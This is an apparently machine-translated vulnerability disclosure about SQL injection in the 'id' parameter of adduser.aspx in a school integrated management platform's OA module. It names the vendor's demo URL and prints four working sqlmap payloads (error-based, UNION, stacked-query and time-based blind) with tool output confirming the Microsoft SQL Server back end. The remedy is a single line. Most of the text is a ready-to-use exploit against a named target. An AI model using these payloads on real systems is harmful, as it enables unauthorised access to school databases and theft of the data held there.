OAsql injection vulnerability in a school's Integrated Management Platform (affecting a large number of schools)

OAsql injection vulnerability in a school's Integrated Management Platform (affecting a large number of schools)

 

A large number of schools use this system management platform to discover no vulnerabilities, but this system comes with a set of OA Systems

/Anmai/oa/adduser. aspx



In case of SQL injection in the password, it is hard to use it manually.
 

 

However, you only need to add the parameter id/anmai/oa/adduser. aspx? Id = 1 (id injection exists)



Take the demo of the company as an example.

Http://www.anmai.net/anmai/oa/adduser.aspx? Id = 1



Place: GET

Parameter: id

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based-WHERE or HAVING clause

Payload: id = 1' AND 9850 = CONVERT (INT, (select char (113) + CHAR (120) + CHAR (122) + CHAR (97) + CHAR (113) + (SELECT (case when (9850 = 9850) then char (49) else char (48) END) + CHAR (113) + CHAR (110) + CHAR (114) + CHAR (103) + CHAR (113) AND 'cnh' = 'cnh



Type: UNION query

Title: Generic UNION query (NULL)-8 columns

Payload: id = 1 'Union all select 67, CHAR (113) + CHAR (120) + CHAR (122) + CHAR (97) + CHAR (113) + CHAR (107) + CHAR (76) + CHAR (90) + CHAR (67) + CHAR (75) + CHAR (67) + CHAR (72) + CHAR (80) + CHAR (66) + CHAR (86) + CHAR (113) + CHAR (110) + CHAR (114) + CHAR (103) + CHAR (113), 67,67, 67,67, 67,67 --



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: id = 1'; waitfor delay '0: 0: 5 '--



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: id = 1 'waitfor delay' 0: 0: 5 '--

---

[11:10:22] [INFO] testing Microsoft SQL Server

[11:10:22] [INFO] confirming Microsoft SQL Server

[11:10:26] [INFO] the back-end DBMS is Microsoft SQL Server

Web server operating system: Windows

Web application technology: ASP. NET, Nginx, ASP. NET 1.1.4322

Back-end DBMS: Microsoft SQL Server 2005

[11:10:26] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error)-32 times

[11:10:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.anmai.net'
 

Solution:

Parameter Filtering